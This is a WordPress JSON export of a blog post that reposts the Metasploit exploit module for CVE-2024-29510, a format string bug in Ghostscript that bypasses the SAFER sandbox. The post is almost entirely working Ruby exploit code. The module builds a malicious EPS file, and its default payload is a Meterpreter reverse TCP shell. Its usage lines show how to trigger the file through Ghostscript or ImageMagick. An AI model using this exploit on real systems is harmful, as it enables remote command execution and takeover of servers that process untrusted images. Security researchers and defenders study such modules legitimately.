{"id":58369,"date":"2024-07-22T16:29:40","date_gmt":"2024-07-22T13:29:40","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/179645\/ghostscript_format_string_cve_2024_29510.rb.txt"},"modified":"2024-07-22T16:29:40","modified_gmt":"2024-07-22T13:29:40","slug":"ghostscript-command-execution-format-string","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/ghostscript-command-execution-format-string\/","title":{"rendered":"Ghostscript Command Execution \/ Format String"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Exploit<\/p>\n<p>Rank = ExcellentRanking<\/p>\n<p>include Msf::Exploit::FILEFORMAT<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Ghostscript Command Execution via Format String&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module exploits a format string vulnerability in Ghostscript<br \/>versions before 10.03.1 to achieve a SAFER sandbox bypass and execute<br \/>arbitrary commands. This vulnerability is reachable via libraries such as<br \/>ImageMagick.<\/p>\n<p>This exploit only works against Ghostscript versions 10.03.0 and<br \/>10.01.2. Some offsets adjustement will probably be needed to make it<br \/>work with other versions.<br \/>},<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;Thomas Rinsma&#8217;, # Vuln discovery and PoC<br \/>&#8216;Christophe De La fuente&#8217; # Metasploit module<br \/>],<br \/>&#8216;References&#8217; =&gt; [<br \/>[&#8216;CVE&#8217;, &#8216;2024-29510&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/bugs.ghostscript.com\/show_bug.cgi?id=707662&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/codeanlabs.com\/blog\/research\/cve-2024-29510-ghostscript-format-string-exploitation\/&#8217;]],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2024-03-14&#8217;,<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Platform&#8217; =&gt; [&#8216;unix&#8217;, &#8216;linux&#8217;, &#8216;win&#8217;],<br \/>&#8216;Arch&#8217; =&gt; [ARCH_CMD, ARCH_X86, ARCH_X64],<br \/>&#8216;Privileged&#8217; =&gt; false,<br \/>&#8216;Targets&#8217; =&gt; [<br \/>[<br \/>&#8216;Linux Command&#8217;,<br \/>{<br \/>&#8216;Arch&#8217; =&gt; ARCH_CMD,<br \/>&#8216;Platform&#8217; =&gt; [ &#8216;unix&#8217;, &#8216;linux&#8217; ],<br \/>&#8216;DefaultOptions&#8217; =&gt; {<br \/># Payload is not set automatically when selecting this target.<br \/># Select a x64 fetch payload by default.<br \/>&#8216;PAYLOAD&#8217; =&gt; &#8216;cmd\/linux\/http\/x64\/meterpreter_reverse_tcp&#8217;<br \/>}<br \/>}<br \/>]],<br \/>&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [CRASH_SAFE],<br \/>&#8216;SideEffects&#8217; =&gt; [ARTIFACTS_ON_DISK],<br \/>&#8216;Reliability&#8217; =&gt; [REPEATABLE_SESSION]}<br \/>)<br \/>)<\/p>\n<p>register_options([<br \/>OptString.new(&#8216;FILENAME&#8217;, [true, &#8216;Output Encapsulated PostScript (EPS) file&#8217;, &#8216;msf.eps&#8217;]),<br \/>OptInt.new(&#8216;INDEX_OUT_PTR&#8217;, [true, &#8216;Index of `gp_file *out` on the stack (see the full documentation for details `info -d`)&#8217;, 5])<br \/>])<br \/>end<\/p>\n<p>def exploit<br \/>xploit = template.sub(&#8216;MSF_PAYLOAD&#8217;, payload.encoded)<br \/>xploit = xploit.sub(&#8216;MSF_IDXOUTPTR&#8217;, datastore[&#8216;INDEX_OUT_PTR&#8217;].to_s)<\/p>\n<p>file_create(xploit)<br \/>print_good(&#8216;You will need to start a handler for the selected payload first.&#8217;)<br \/>print_good(&#8220;Example usage with Ghostscript: gs -q -dSAFER -dBATCH -dNODISPLAY #{datastore[&#8216;FILENAME&#8217;]}&#8221;)<br \/>print_good(&#8220;Example usage with ImageMagick: identify #{datastore[&#8216;FILENAME&#8217;]}&#8221;)<br \/>end<\/p>\n<p>def template<br \/>xploit = File.read(File.join(<br \/>Msf::Config.data_directory, &#8216;exploits&#8217;, &#8216;CVE-2024-29510&#8217;, &#8216;ghostscript_format_string.eps&#8217;<br \/>))<\/p>\n<p># Remove comments<br \/>xploit.gsub!(\/\\s*% .+$\/, &#8221;)<\/p>\n<p># Remove empty lines and lines with a single %<br \/>xploit.gsub(\/^%?$\\n\/, &#8221;)<br \/>end<\/p>\n<p>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Exploit Rank = ExcellentRanking include Msf::Exploit::FILEFORMAT def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Ghostscript Command Execution via Format String&#8217;,&#8216;Description&#8217; =&gt; %q{This module exploits a format string vulnerability in Ghostscriptversions before 10.03.1 to achieve a SAFER sandbox bypass and executearbitrary commands. This vulnerability is reachable via &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-58369","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58369","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=58369"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58369\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=58369"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=58369"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=58369"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}